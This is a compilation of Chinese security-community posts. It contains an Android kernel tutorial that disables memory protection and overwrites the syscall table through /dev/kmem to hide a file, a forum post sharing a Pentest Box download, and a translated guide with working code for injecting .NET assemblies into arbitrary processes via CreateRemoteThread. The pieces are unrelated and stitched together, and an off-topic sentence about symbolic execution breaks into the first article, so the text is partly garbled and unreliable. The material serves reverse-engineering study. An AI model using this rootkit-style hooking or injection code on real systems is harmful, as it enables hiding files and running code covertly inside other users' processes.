例如，获取匹配Nexus 5的Lollipop的内核源码，需要克隆“msm”仓库并检出一个分支“android-msm-hammerhead”。一旦源码下载了，用make
hammerhead_defconfig(或者whatever_defconfig，取决于你的设备)命令创建默认内核配置。
$ git clone https://android.googlesource.com/kernel/msm.git
$ cd msm
$ git checkout origin/android-msm-hammerhead-3.4-lollipop-mr1
$ export ARCH=arm
$ export SUBARCH=arm
$ make hammerhead_defconfig
$ vim .config
为了启动系统调用挂钩功能，我推荐增加可加载模块的支持，由/dev/kmem接口支持，同时导出全局内核符号表。不要忘了禁用内存保护。这些选项的值在配置文件中已经存在，只需要简单的设置以下值。
CONFIG_MODULES=Y
CONFIG_MODULE_UNLOAD=y
CONFIG_STRICT_MEMORY_RWX=N
CONFIG_DEVMEM=Y
CONFIG_DEVKMEM=Y
CONFIG_KALLSYMS=Y
CONFIG_KALLSYMS_ALL=Y
一旦你完成了编辑配置文件。或者，您现在可以创建一个独立的工具链，用于交叉编译内核和以后的任务。为了给Android 5.1创建一个工具链，运行Android
NDK包的make-standalone_toolchain.sh：
$ cd android-ndk-rXXX
$ build/tools/make-standalone-toolchain.sh --arch=arm --platform=android-21 --install-dir=/tmp/my-android-toolchain
设置CROSS_COMPILE环境变量，指向NDK目录，并运行make构建内核。
$ export CROSS_COMPILE=/tmp/my-android-toolchain/bin/arm-eabi-
$ make
当构建过程完成后，能在arch/arm/boot/zImage-dtb找到引导内核模块。
**0x02 启动新内核**
在启动新内核前，备份一个你设备的原始引导映像。找到启动分区的位置：
root@hammerhead:/dev # ls -al /dev/block/platform/msm_sdcc.1/by-name/
lrwxrwxrwx root root 1970-08-30 22:31 DDR -> /dev/block/mmcblk0p24
lrwxrwxrwx root root 1970-08-30 22:31 aboot -> /dev/block/mmcblk0p6
lrwxrwxrwx root root 1970-08-30 22:31 abootb -> /dev/block/mmcblk0p11
lrwxrwxrwx root root 1970-08-30 22:31 boot -> /dev/block/mmcblk0p19
(...)
lrwxrwxrwx root root 1970-08-30 22:31 userdata -> /dev/block/mmcblk0p28
然后，将所有的内容转储到一个文件中：
$ adb shell "su -c dd if=/dev/block/mmcblk0p19 of=/data/local/tmp/boot.img"
$ adb pull /data/local/tmp/boot.img
接下来，提取ramdisk以及有关引导映像结构的一些信息。有很多工具可以做到这个，我使用Gilles
Grandou的[abootimg](https://github.com/gerasiov/abootimg-android)工具。安装工具并执行以下的命令：
$ abootimg -x boot.img
在本地目录会创建bootimg.cfg、initrd.img和zImage（原始的内核）文件。
能用快速引导测试新内核。“fastboot boot”命令允许测试内核。在fastboot模式下用下面命令汗重启设备：
$ adb reboot bootloader
然后，用“fastboot
boot”命令引导Android的新内核。除了新建的内核和原始ramdisk，还需指定内核偏移量，ramdisk偏移量，标签偏移量和命令行（使用在之前提取的bootimg.cfg中列出的值）。
$ fastboot boot zImage-dtb initrd.img --base 0 --kernel-offset 0x8000 --ramdisk-offset 0x2900000 --tags-offset 0x2700000 -c "console=ttyHSL0,115200,n8 androidboot.hardware=hammerhead user_debug=31 maxcpus=2 msm_watchdog_v2.enable=1"
现在应该手动重启。为了快速验证内核=正确运行了，通过校验Settings->About phone中的“内核版本”的值。
如果一切运行良好，将显示自定义构建的版本字符串。
**0x03 用内核模块hook系统调用**
hook系统调用能让我们绕过任何依赖内核提供的反逆向防御措施。在我们自定义的内核中，我们能用LKM加载例外的代码到内核中。我们也可以访问/dev/kmem接口，用来修改内核内存。这是个经典的linux
rootkit技术。
首先需要的是sys_call_table的地址。幸运的是它被Android内核导出了符号（iOS没这么幸运）。我们在/proc/kallsyms寻找地址：
$ adb shell "su -c echo 0 > /proc/sys/kernel/kptr_restrict"
$ adb shell cat /proc/kallsyms | grep sys_call_table
c000f984 T sys_call_table
这是我们仅需要写入的内核地址，其他的可以通过便宜计算出来。
我们将使用内核模块隐藏一个文件。让我们在设备创建一个文件，以便我们能在后面隐藏它：
$ adb shell "su -c echo ABCD > /data/local/tmp/nowyouseeme"
$ adb shell cat /data/local/tmp/nowyouseeme
ABCD
最后时候写内核模块了。为了文件隐藏，我们需要挂钩用来打开文件的一个系统调用。有很多关于打开open, openat, access, accessat,
facessat, stat, fstat,等等。现在我们只需要挂钩openat系统调用，这个系统调用被“/bin/cat”程序访问文件时使用。
你能在内核头文件中（arch/arm/include/asm/unistd.h）找到所有系统调用的函数原型。用下面代码创建一个文件kernel_hook.c:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
asmlinkage int (*real_openat)(int, const char __user*, int);
void **sys_call_table;
int new_openat(int dirfd, const char __user* pathname, int flags)
{
char *kbuf;
size_t len;
kbuf=(char*)kmalloc(256,GFP_KERNEL);
len = strncpy_from_user(kbuf,pathname,255);
if (strcmp(kbuf, "/data/local/tmp/nowyouseeme") == 0) {
printk("Hiding file!n");
return -ENOENT;
}
kfree(kbuf);
return real_openat(dirfd, pathname, flags);
}
int init_module() {
sys_call_table = (void*)0xc000f984;
real_openat = (void*)(sys_call_table[__NR_openat]);
return 0;
}
为了构建内核模块，需要内核资源和工具链，因为之前编译了内核，一切就绪。用以下内容创建makefile文件：
KERNEL=[YOUR KERNEL PATH]
TOOLCHAIN=[YOUR TOOLCHAIN PATH]
obj-m := kernel_hook.o
all:
make ARCH=arm CROSS_COMPILE=$(TOOLCHAIN)/bin/arm-eabi- -C $(KERNEL) M=$(shell pwd) CFLAGS_MODULE=-fno-pic modules
clean:
make -C $(KERNEL) M=$(shell pwd) clean
运行make编译代码，得到文件kernel_hook.ko。复制这个文件到设备并用insmod命令加载它。用lsmod命令验证模块是否加载成功。
$ make
(...)
$ adb push kernel_hook.ko /data/local/tmp/
[100%] /data/local/tmp/kernel_hook.ko
$ adb shell su -c insmod /data/local/tmp/kernel_hook.ko
$ adb shell lsmod
kernel_hook 1160 0 [permanent], Live 0xbf000000 (PO)
**
**
**0x04 修改系统调用表**
现在，我们访问/dev/kmem来用我们注入的函数地址来覆盖sys_call_table中的原始函数的指针（这也能直接在内核模块中做，但是用/dev/kmem更加简单）。我参考了Dong-Hoon You的文章，但是我用文件接口代替nmap()，因为我发现会引起一些内核警告。用下面代码创建文件kmem_util.c：
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <asm/unistd.h>
#include <sys/mman.h>
#define MAP_SIZE 4096UL
#define MAP_MASK (MAP_SIZE - 1)
int kmem;
void read_kmem2(unsigned char *buf, off_t off, int sz)
{
off_t offset; ssize_t bread;
offset = lseek(kmem, off, SEEK_SET);
bread = read(kmem, buf, sz);
return;
}
void write_kmem2(unsigned char *buf, off_t off, int sz) {
off_t offset; ssize_t written;
offset = lseek(kmem, off, SEEK_SET);
if (written = write(kmem, buf, sz) == -1) { perror("Write error");
exit(0);
}
return;
}
int main(int argc, char *argv[]) {
off_t sys_call_table;
unsigned int addr_ptr, sys_call_number;
if (argc < 3) {
return 0;
}
kmem=open("/dev/kmem",O_RDWR);
if(kmem<0){
perror("Error opening kmem"); return 0;
}
sscanf(argv[1], "%x", &sys_call_table); sscanf(argv[2], "%d", &sys_call_number);
sscanf(argv[3], "%x", &addr_ptr); char buf[256];
memset (buf, 0, 256); read_kmem2(buf,sys_call_table+(sys_call_number*4),4);
printf("Original value: %02x%02x%02x%02xn", buf[3], buf[2], buf[1], buf[0]);
write_kmem2((void*)&addr_ptr,sys_call_table+(sys_call_number*4),4);
read_kmem2(buf,sys_call_table+(sys_call_number*4),4);
printf("New value: %02x%02x%02x%02xn", buf[3], buf[2], buf[1], buf[0]);
close(kmem);
return 0;
}
构建kmem_util.c并复制到设备中。注意因为是Android Lollipop，所以所有的可执行文件必须是PIE支持编译的。
$ /tmp/my-android-toolchain/bin/arm-linux-androideabi-gcc -pie -fpie -o kmem_util kmem_util.c
$ adb push kmem_util /data/local/tmp/
$ adb shell chmod 755 /data/local/tmp/kmem_util
在我们开始修改内核内存前，我们需要知道的是系统调用表正确的偏移位置。这个openat调用在unistd.h中定义：
$ grep -r "__NR_openat" arch/arm/include/asm/unistd.h
#define __NR_openat (__NR_SYSCALL_BASE+322)
最后一个难题是我们替换openat函数的地址。我们能从/proc/kallsyms得到这个地址：
$ adb shell cat /proc/kallsyms | grep new_openat
bf000000 t new_openat [kernel_hook]
现在我们可以覆盖系统调用表的入口了。Kmem_util语法如下：
./kmem_util <syscall_table_base_address> <offset> <func_addr>
用下面的命令修改系统调用表指向我们的新函数。
berndt@osboxes:~/Host/Research/SoftToken/Android/Kernel/msm$ adb shell su -c /data/local/tmp/kmem_util c000f984 322 bf000000
Original value: c017a390
New value: bf000000
假设一切正常，/bin/cat应该不能看见这个文件。
berndt@osboxes:~/Desktop/Module$ adb shell su -c cat /data/local/tmp/nowyouseeme
tmp-mksh: cat: /data/local/tmp/nowyouseeme: No such file or directory
现在通过所有的用户进程已经无法看见隐藏的文件了（但是为了隐藏文件有许多需要做的，包括挂钩stat，access和其他系统调用，还有在文件夹中隐藏）。
文件隐藏的教程只是一个小例子：你可以完成一大堆事，包括绕过启动检测，完整性校验和反调试技巧。
尽管代码覆盖使用符号执行是一个好的方法，但它是个复杂的任务。路径遍历意味着内存消耗，并且一些情况下要计算的表达式太过复杂。目前，判定器非常慢，判定表达式非常慢。
**0x05 总结**
hook系统调用对于Android逆向分析是一个有用的技术。为了使用它，需要用自定义内核构建自己的逆向工程沙盒。这个文章介绍了如何在Nexus5运行Lollipop，其他AOSP设备也是类似的。 | 社区文章 |
相关介绍大伙都知道了把
Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境，而它也是著名黑客Kapustkiy常用的工具之一。在安全测试的过程中，大部分脚本工具都是基于Linux平台运行，比如bash、cat、chmod、curl、git、gzip、ls、mv、ps、ssh、sh、uname等。Linux相比windows，安装和更新软件更加高效，排除故障更加方便和稳定。windows窗口化界面操作和特殊工具的兼容性，也导致大部分安全人员严重依赖于windows系统，因此使用windows的安全测试人员大部分都会在虚拟机内运行各式各样的Linux操作系统。但是虚拟机运行Linux也有相对应的缺点，首先是内存占用过高，其次是操作没有那么方便。基于以上问题，Pentest Box被开发出来了。如果要说Kali中阿D最好使，我认为windows中Pentest Box最好使
国内下载地址
Pentest Box 百度云链接（(含MSF版本和无MSF版本）：<http://pan.baidu.com/s/1slu8lel> 密码：7mm1
大伙来谈谈对此工具使用的一些感受把
以后初级渗透个人是一个自动化的过程，我们该如何优雅的来进行安全检测。
还可以可以探讨一下行业前景。 | 社区文章 |
# 如何将.NET程序注入到非托管进程
##### 译文声明
本文是翻译文章，文章来源：codeproject.com
原文地址：<https://www.codeproject.com/Articles/607352/Injecting-Net-Assemblies-Into-Unmanaged-Processes>
译文仅供参考，具体内容表达以及含义原文为准。
## 源代码
<https://www.codeproject.com/KB/cpp/607352/FrameworkInjection.zip>
## 一、概述
.NET是一个强大的编程语言，可以用来快速可靠地开发软件，然而.NET也有其不适用的一些场景。本文重点讲解了DLL注入的一个案例，当未加载.NET
Runtime时，无法向一个远程进程中注入.NET DLL（托管DLL）。此外，假设.NET Runtime已经在目标进程中加载，那么应该如何调用.NET
DLL中的方法？其结构是什么样的？针对64位进程的操作是否与32位进程不同？阅读本文后，你将会了解如何使用官方文档中记录的API实现这些任务。我们的目标是：
1、在32位和64位系统上，在任意进程中启动.NET CLR（公共语言运行库）；
2、在任意进程中，加载自定义.NET程序集；
3、在任意进程的上下文中，执行托管代码。
## 二、拆分步骤，逐步击破
要实现最终的目标，需要进行几项不同的工作。为了使思路更加清晰，我们将其拆分成几个步骤，并在最后进行组合利用。要解决这个难题，需要进行的步骤是：
1、加载CLR（基础）：如何在非托管进程中启动.NET框架。
2、加载CLR（高级）：如何加载自定义.NET程序，并从非托管代码调用托管方法。
3、DLL注入（基础）：如何在远程进程中执行非托管代码。
4、DLL注入（高级）：如何在远程进程中执行任意导出的函数。
5、组合利用：将上述方法组合使用，实现我们最终的目标。
注意：我们在引用C++函数和C#函数时，所使用的都是函数的标准方式。我们所说的“远程”进程，是指除当前进程之外的其他任意进程。
## 三、加载CLR
我们实现目标的第一步，是编写可以加载.NET Runtime和任意程序集的非托管应用程序。
### 3.1 基础篇
以下示例程序，展示了C++应用程序如何将.NET Runtime加载到其自身：
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")
#import "mscorlib.tlb" raw_interfaces_only
high_property_prefixes("_get","_put","_putref")
rename("ReportEvent", "InteropServices_ReportEvent")
int wmain(int argc, wchar_t* argv[])
{
char c;
wprintf(L"Press enter to load the .net runtime...");
while (getchar() != 'n');
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pClrRuntimeHost = NULL;
// build runtime
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,
IID_PPV_ARGS(&pClrRuntimeHost));
// start runtime
hr = pClrRuntimeHost->Start();
wprintf(L".Net runtime is loaded. Press any key to exit...");
while (getchar() != 'n');
return 0;
}
在上述代码中，有4个调用比较重要，其作用如下：
1、CLRCreateInstance – 指定CLSID_CLRMetaHost，获取指向ICLRMetaHost实例的指针；
2、ICLRMetaHost::GetRuntime – 获取指向特定.NET Runtime的ICLRRuntimeInfo类型指针；
3、ICLRRuntimeInfo::GetInterface – 将CLR加载到当前进程，并获取ICLRRuntimeHost指针；
4、ICLRRuntimeHost::Start – 显示启动CLR，在首次加载托管代码时隐式调用。
在撰写本文时，ICLRMetaHost::GetRuntime的有效版本值为NULL、v1.0.3705、v1.1.4322、v2.0.50727和v4.0.30319，其中NULL加载最新版本的Runtime。需要根据操作系统的实际需要，安装相应版本的Runtime，其版本值保存在%WinDir%Microsoft.NETFramework和%WinDir%Microsoft.NETFramework64中。
编译并运行上述代码后，得到输出结果如下：
一旦按下回车键，就可以通过Process Hacker观察到.NET Runtime已被加载。请注意属性窗口上引用.NET的其他选项卡：
上述示例代码不包含在源代码压缩包中，建议读者自行编写并运行示例。
### 3.2 进阶篇
在将第一块拼图放好之后，接下来就要将任意.NET程序集加载到进程中，并调用该.NET程序集中的方法。
我们在上述示例的基础之上，继续进行下一步工作。在此之前，CLR被加载到进程中，这一过程是通过获取指向CLR接口的指针来实现的，该指针存储在变量pClrRuntimeHost中。使用pClrRuntimeHost调用ICLRRuntimeHost::Start，以实现将CLR初始化到进程之中。
现在，已经完成CLR的初始化工作，pClrRuntimeHost就可以调用ICLRRuntimeHost::ExecuteInDefaultAppDomain来加载和调用任意.NET程序集中的方法。该函数具有如下签名（Signature）：
HRESULT ExecuteInDefaultAppDomain (
[in] LPCWSTR pwzAssemblyPath,
[in] LPCWSTR pwzTypeName,
[in] LPCWSTR pwzMethodName,
[in] LPCWSTR pwzArgument,
[out] DWORD *pReturnValue
);
其中，各参数的简要说明如下：
1、pwzAssemblyPath – .NET程序集的完整路径，可以是exe文件，也可以是dll文件；
2、pwzTypeName – 需调用的方法的完全限定类型名；
3、pwzMethodName – 需调用的方法的名称；
4、pwzArgument – 传递给方法的可选参数；
5、pReturnValue – 方法的返回值。
并非.NET程序集中的每个方法都可以通过ICLRRuntimeHost::ExecuteInDefaultAppDomain调用。有效的.NET方法必须具有如下签名：
static int pwzMethodName (String pwzArgument);
顺便提一句，访问控制修饰符（例如：public、protected、private和internal）不会影响方法的可见性，因此它们被排除在签名之外。
下面的.NET应用程序，适用于所有示例，将托管.NET程序集注入到进程内部：
using System;
using System.Windows.Forms;
namespace InjectExample
{
public class Program
{
static int EntryPoint(String pwzArgument)
{
System.Media.SystemSounds.Beep.Play();
MessageBox.Show(
"I am a managed app.nn" +
"I am running inside: [" +
System.Diagnostics.Process.GetCurrentProcess().ProcessName +
"]nn" + (String.IsNullOrEmpty(pwzArgument) ?
"I was not given an argument" :
"I was given this argument: [" + pwzArgument + "]"));
return 0;
}
static void Main(string[] args)
{
EntryPoint("hello world");
}
}
}
上述代码可以通过ICLRRuntimeHost::ExecuteInDefaultAppDomain调用，也可以独立运行，两种运行方式都可以产生相似的行为。注入非托管远程进程，最终使上述应用程序在该进程的上下文中执行，并弹出一个显示远程进程名称的消息框。
在基础篇的示例代码基础上，我们编写了以下C++程序，用于加载上述.NET程序集并执行EntryPoint方法：
#include <metahost.h>
#pragma comment(lib, "mscoree.lib")
#import "mscorlib.tlb" raw_interfaces_only
high_property_prefixes("_get","_put","_putref")
rename("ReportEvent", "InteropServices_ReportEvent")
int wmain(int argc, wchar_t* argv[])
{
HRESULT hr;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
ICLRRuntimeHost *pClrRuntimeHost = NULL;
// build runtime
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost,
IID_PPV_ARGS(&pClrRuntimeHost));
// start runtime
hr = pClrRuntimeHost->Start();
// execute managed assembly
DWORD pReturnValue;
hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
L"T:\FrameworkInjection\_build\debug\anycpu\InjectExample.exe",
L"InjectExample.Program",
L"EntryPoint",
L"hello .net runtime",
&pReturnValue);
// free resources
pMetaHost->Release();
pRuntimeInfo->Release();
pClrRuntimeHost->Release();
return 0;
}
应用程序输出如下：
至此，我们已经拼好了两块拼图。现在，我们已经理解了如何加载CLR，以及如何从非托管代码中执行任意方法。但是，如何在任意进程中实现呢？
## 四、DLL注入
通过DLL注入，可以在远程进程中加载DLL，从而实现远程进程内代码执行。许多DLL注入方法，都在试图实现DllMain内部代码执行。但是，如果尝试从DllMain中启动CLR，将会导致Windows加载程序的死锁。我们可以编写一个尝试从DllMain中启动CLR的示例DLL，来验证这一点，而验证过程就留给感兴趣的读者作为练习。关于.NET初始化、Windows加载程序和加载程序锁定的更多信息，请阅读以下MSDN文章：
<http://msdn.microsoft.com/en-us/library/ms172219(v=VS.100).aspx>
<http://msdn.microsoft.com/en-us/library/ms173266.aspx>
<http://msdn.microsoft.com/en-us/library/windows/desktop/dd744765(v=vs.85).aspx>
当Windows加载程序对另一个模块进行初始化时，将会不可避免地造成CLR无法启动。每个锁都是特定于进程的，由Windows来管理。请注意，任何模块如果已经获得过一个加载程序锁，当其尝试继续获取下一个加载程序锁时，都会导致死锁的发生。
### 4.1 基础篇
要搞定Windows加载程序，也需要拆分成多个步骤。一开始，我们先尝试如何在远程进程中注入一个非托管DLL，示例代码如下：
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
上述代码实现了一个简单的DLL。要在远程进程中注入以下DLL，需要用到以下Windows API：
1、OpenProcess – 获取进程的句柄；
2、GetModuleHandle – 获取指定模块的句柄；
3、LoadLibrary – 在调用进程的地址空间中加载库；
4、GetProcAddress – 从库中获取导出函数的VA（虚拟地址）；
5、VirtualAllocEx – 在指定进程中分配空间；
6、WriteProcessMemory – 将字节写入指定地址的指定进程；
7、CreateRemoteThread – 在远程进程中生成一个线程。
接下来，在已经加载DLL的远程进程上，执行一个导出函数：
DWORD_PTR Inject(const HANDLE hProcess, const LPVOID function,
const wstring& argument)
{
// allocate some memory in remote process
LPVOID baseAddress = VirtualAllocEx(hProcess, NULL, GetStringAllocSize(argument),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// write argument into remote process
BOOL isSucceeded = WriteProcessMemory(hProcess, baseAddress, argument.c_str(),
GetStringAllocSize(argument), NULL);
// make the remote process invoke the function
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)function, baseAddress, NULL, 0);
// wait for thread to exit
WaitForSingleObject(hThread, INFINITE);
// free memory in remote process
VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE);
// get the thread exit code
DWORD exitCode = 0;
GetExitCodeThread(hThread, &exitCode);
// close thread handle
CloseHandle(hThread);
// return the exit code
return exitCode;
}
在这里需要明确，我们的目标是在远程进程中加载一个库。接下来要考虑的是，如何使用上述函数在远程进程中注入DLL。我们将目光放在了kernel32.dll映射到每个进程的地址空间内。LoadLibrary是kernel32.dll的导出函数，它具有与LPTHREAD_START_ROUTINE相匹配的函数签名，因此可以作为启动例程传递给CreateRemoteThread。回想一下，LoadLibrary的目的是在调用进程的地址空间中加载库，而CreateRemoteThread的目的是在远程进程中生成一个线程。下面的部分代码说明了如何在ID为3344的进程中加载示例DLL：
// 使用PID 3344获取远程进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 3344);
// 获取LoadLibrary的地址
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");
// 将test.dll注入到远程进程中
Inject(hProcess, fnLoadLibrary, L"T:\test\test.dll");
一旦CreateRemoteThread被调用，紧接着就会调用WaitForSingleObject以等待线程退出。随后，会调用GetExitCodeThread来获取结果。巧合的是，当LoadLibrary传递到CreateRemoteThread时，成功的调用将导致GetExitCodeThread的lpExitCode在远程进程的上下文中返回已加载库的基址。这一点适用于32位应用程序，但不适用于64位应用程序。原因在于，即使在64位计算机上，GetExitCodeThread的IpExitCode也是DWORD值，因此该地址将会被截断。
这就是我们想要的第三块拼图。总结一下，目前已经解决了以下问题：
1、使用非托管代码加载CLR；
2、从非托管代码执行任意.NET程序集；
3、注入DLL。
### 4.2 进阶篇
现在，我们已经清楚如何在远程进程中加载DLL。那么，可以继续讨论如何在远程进程中启动CLR。
当LoadLibrary返回时，加载程序上的锁是空闲的。使用远程进程地址空间中的DLL，可以通过后续对CreateRemoteThread的调用来调用导出函数，其函数签名与LPTHREAD_START_ROUTINE相匹配。然而，这里就又产生了一些问题。如何在远程进程内调用导出函数？如何获取指向这些函数的指针？考虑到GetProcAddress没有相匹配的LPTHREAD_START_ROUTINE签名，那么应该如何获取DLL内部函数的地址？此外，即使可以调用GetProcAddress，也仍然需要远程DLL的句柄，那么针对64位系统，如何获取到句柄呢？
我们需要再次分解这些问题，并逐一突破。通过下面的函数，可以在x86和x64系统上可靠地返回特定进程中特定模块的句柄（在这里，意外地获得了基址）：
DWORD_PTR GetRemoteModuleHandle(const int processId, const wchar_t* moduleName)
{
MODULEENTRY32 me32;
HANDLE hSnapshot = INVALID_HANDLE_VALUE;
// get snapshot of all modules in the remote process
me32.dwSize = sizeof(MODULEENTRY32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId);
// can we start looking?
if (!Module32First(hSnapshot, &me32))
{
CloseHandle(hSnapshot);
return 0;
}
// enumerate all modules till we find the one we are looking for
// or until every one of them is checked
while (wcscmp(me32.szModule, moduleName) != 0 && Module32Next(hSnapshot, &me32));
// close the handle
CloseHandle(hSnapshot);
// check if module handle was found and return it
if (wcscmp(me32.szModule, moduleName) == 0)
return (DWORD_PTR)me32.modBaseAddr;
return 0;
}
掌握远程进程中DLL的基址，是朝着正确方向迈出的第一步。接下来，要找到一种可以获取任意导出函数地址的策略。回顾一下，目前已经知道如何在远程进程中调用LoadLibrary并获取已加载模块的句柄。在此基础上，在本地（调用过程中）调用LoadLibrary并获取已加载模块的句柄就非常简单了。这一句柄，可能与远程进程中的句柄相同，也可能不同，即使它是相同的库。通过一些基本的数学运算，就能够获得任何想要的导出函数的地址。我们的思路是，尽管模块的基址因进程而异，但特定函数相对于模块基址的偏移量都是不变的。例如，在Bootstrap
DLL项目中，可以找到如下导出函数：
__declspec(dllexport) HRESULT ImplantDotNetAssembly(_In_ LPCTSTR lpCommand)
在可以远程调用此函数之前，必须首先在远程进程中加载Bootstrap.dll模块。使用Process
Hacker，可以看到Windows加载工具在注入Firefox时将Bootstrap.dll模块放入内存的过程：
下面是一个示例程序，用于在本地（调用进程中）加载Bootstrap.dll模块：
#include <windows.h>
int wmain(int argc, wchar_t* argv[])
{
HMODULE hLoaded = LoadLibrary(
L"T:\FrameworkInjection\_build\release\x86\Bootstrap.dll");
system("pause");
return 0;
}
下面是运行上述程序过程中，Windows加载Bootstrap.dll模块的截图：
接下来，要在wmain内调用GetProcAddress，来获取ImplantDotNetAssembly函数的地址：
#include <windows.h>
int wmain(int argc, wchar_t* argv[])
{
HMODULE hLoaded = LoadLibrary(
L"T:\FrameworkInjection\_build\debug\x86\Bootstrap.dll");
// get the address of ImplantDotNetAssembly
void* lpInject = GetProcAddress(hLoaded, "ImplantDotNetAssembly");
system("pause");
return 0;
}
模块中函数的地址始终大于模块的基址，现在就是基础数学该上场的时候了。以下表格有助于说明这一过程：
Firefox.exe | Bootstrap.dll @ 0x50d0000 | ImplantDotNetAssembly @ ?
test.exe | Bootstrap.dll @ 0xf270000 | ImplantDotNetAssembly @ 0xf271490 (lpInject)
Test.exe显示Bootstrap.dll在地址0xf270000处加载，同时ImplantDotNetAssembly可以在内存中地址为0xf271490的位置找到。使用Bootstrap.dll的地址减去ImplantDotNetAssembly的地址，就获得特定函数相对于模块基址的偏移量。经过计算，ImplantDotNetAssembly是在模块中
(0xf271490 – 0xf270000) =
0x1490的位置。然后，就可以将此偏移量添加到远程进程中Bootstrap.dll模块的基址上，从而可靠地提供ImplantDotNetAssembly相对于远程进程的地址。同样，通过计算，得到Firefox.exe的ImplantDotNetAssembly地址为(0x50d0000
+ 0x1490) = 0x50d1490。通过下面的函数，可以计算出特定模块中特定函数的偏移量：
DWORD_PTR GetFunctionOffset(const wstring& library, const char* functionName)
{
// load library into this process
HMODULE hLoaded = LoadLibrary(library.c_str());
// get address of function to invoke
void* lpInject = GetProcAddress(hLoaded, functionName);
// compute the distance between the base address and the function to invoke
DWORD_PTR offset = (DWORD_PTR)lpInject - (DWORD_PTR)hLoaded;
// unload library from this process
FreeLibrary(hLoaded);
// return the offset to the function
return offset;
}
需要注意的是，ImplantDotNetAssembly特意匹配了LPTHREAD_START_ROUTINE的签名，并且将所有方法传递给CreateRemoteThread。由此，Bootstrap.dll中的ImplantDotNetAssembly函数已经具备了在远程DLL中执行任意函数和初始化CLR的能力。在远程进程加载Bootstrap.dll后，可以计算出远程实例中ImplantDotNetAssembly的地址，然后通过CreateRemoteThread调用。这就是整个过程中的最后一块拼图。接下来，是时候把这些拼图组合到一起了。
## 五、组合利用
使用非托管DLL（Bootstrap.dll）加载CLR的主要原因是，如果CLR没有在远程进程中运行，那么唯一方法就是从非托管代码中使用。在这里，不能使用Python等脚本语言，因为它们自身就带有一系列依赖项。
另外，如果在每次应用发生变化时都重新进行一次编译，会非常繁琐。因此，我们Inject应用程序能灵活地接受命令行输入，具体可以接受如下选项：
* m 要执行的托管方法名称，例如：IntryPoint。
* i 要在远程进程内部注入的托管程序集的完全限定路径，例如：C:InjectExample.exe。
* l 托管程序集的完全限定类型名称，例如：InjectExample.Program。
* a 传递给托管函数的可选参数。
n 要注入的进程ID或进程名称，例如：1500或notepad.exe。
Inject的wmain方法如下：
int wmain(int argc, wchar_t* argv[])
{
// parse args (-m -i -l -a -n)
if (!ParseArgs(argc, argv))
{
PrintUsage();
return -1;
}
// enable debug privileges
EnablePrivilege(SE_DEBUG_NAME, TRUE);
// get handle to remote process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_processId);
// inject bootstrap.dll into the remote process
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"),
"LoadLibraryW");
Inject(hProcess, fnLoadLibrary, GetBootstrapPath());
// add the function offset to the base of the module in the remote process
DWORD_PTR hBootstrap = GetRemoteModuleHandle(g_processId, BOOTSTRAP_DLL);
DWORD_PTR offset = GetFunctionOffset(GetBootstrapPath(), "ImplantDotNetAssembly");
DWORD_PTR fnImplant = hBootstrap + offset;
// build argument; use DELIM as tokenizer
wstring argument = g_moduleName + DELIM + g_typeName + DELIM +
g_methodName + DELIM + g_Argument;
// inject the managed assembly into the remote process
Inject(hProcess, (LPVOID)fnImplant, argument);
// unload bootstrap.dll out of the remote process
FARPROC fnFreeLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"),
"FreeLibrary");
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fnFreeLibrary,
(LPVOID)hBootstrap, NULL, 0);
// close process handle
CloseHandle(hProcess);
return 0;
}
下面是调用Inject.exe应用程序的屏幕截图，该应用程序将.NET程序集InjectExample.exe与使用的命令行一起注入notepad.exe：
"T:FrameworkInjection_buildreleasex64Inject.exe" -m EntryPoint -i "T:FrameworkInjection_buildreleaseanycpuInjectExample.exe" -l InjectExample.Program -a "hello inject" -n "notepad.exe"
在这里，重点关注下针对x86、x64和AnyCPU所构建的DLL之间的差异。理论上，应该使用x86版本的Inject.exe和Bootstrap.dll来注入x86进程，使用x64版本的相应文件注入x64进程。调用者需要确保使用了正确的二进制文件。AnyCPU是.NET中提供的平台，AnyCPU会将正确的体系结构传递给CLR
JIT程序集。这样一来，我们就可以将相同的InjectExample.exe程序集注入x86或x64进程。
## 六、实际测试
接下来，我们进行实际测试。首先，有一些环境上的要求。
编译代码的环境：
Visual Studio 2012 Express +
Visual Studio 2012 Express Update 1 +
运行代码的环境：
.Net Framework 4.0 +
Visual C++ Redistributable for Visual Studio 2012 Update 1 +
Windows XP SP3 +
